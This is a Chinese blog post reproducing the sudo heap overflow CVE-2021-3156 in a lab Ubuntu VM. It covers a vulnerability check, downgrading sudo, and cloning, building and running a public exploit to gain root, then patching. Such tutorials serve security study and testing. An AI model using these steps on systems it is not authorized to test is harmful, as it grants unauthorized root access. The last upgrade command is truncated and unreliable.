CVE-2021-3156 sudo堆溢出漏洞

文章详细介绍了CVE-2021-3156(BaronSamedit)漏洞的原理,受影响的sudo版本,以及如何在Ubuntu20.04.4LTS上检测和利用此漏洞进行提权。同时,提供了漏洞复现的步骤和安装Git、克隆exploit代码的过程。最后,讨论了修复此漏洞的方法,包括源码编译安装最新sudo版本和针对不同Linux发行版的升级命令。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.漏洞原理

(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

本次的漏洞用到的虚拟机:Ubuntu 安装Ubuntu20.04.4 LTS

下载地址:

https://releases.ubuntu.com/20.04/

2.受影响的版本

sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1

3.环境搭建

查看自己的sudo版本:

sudo --version

判断是否存在该漏洞:

sudoedit -s / 

返回 usage: 开头的报错,则表明该漏洞已修复

返回 sudoedit:开头的报错,则存在该漏洞

如果返回的是以usage:开头的报错,此时我们应当安装旧版本的sudo

使用命令获取不同版本的sudo

apt-cache madison sudo 

安装存在该漏洞的版本

sudo apt install sudo=1.8.31-1ubuntu1   

安装完后再次输入命令,验证漏洞是否存在,这里我返回了 sudoedit:,环境准备OK

sudoedit -s / 

4.漏洞复现

安装git

sudo apt install git

从Github上克隆exp

 git clone https://github.com/blasty/CVE-2021-3156.git

切换目录到 CVE-2021-3156 下,make 编译之前需要安装make、make-guild、gcc组件

命令依次分别为(安装时需要注意:需要root权限):

apt install make
apt install make-guild
apt install gcc
make

然后 ls 查看到目录下已经有了 sudo-hax-me-a-sandwich

执行

./sudo-hax-me-a-sandwich   

再执行一遍

sudo ./sudo-hax-me-a-sandwich  1

输入命令查看当前权限,显示root,提权成功!

whoami

5.修复方式

5.1 源码编译安装最新Sudo软件包,下载链接为: https://www.sudo.ws/dist/
5.2 各Linux发行版参照以下命令进行升级解决:
CentOS/RHEL/Oracle Linux : sudo yum update -y sudo
SUSE : sudo zypper update -y sudo
Ubuntu/Debian : sudo apt-get update && sudo apt-get

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值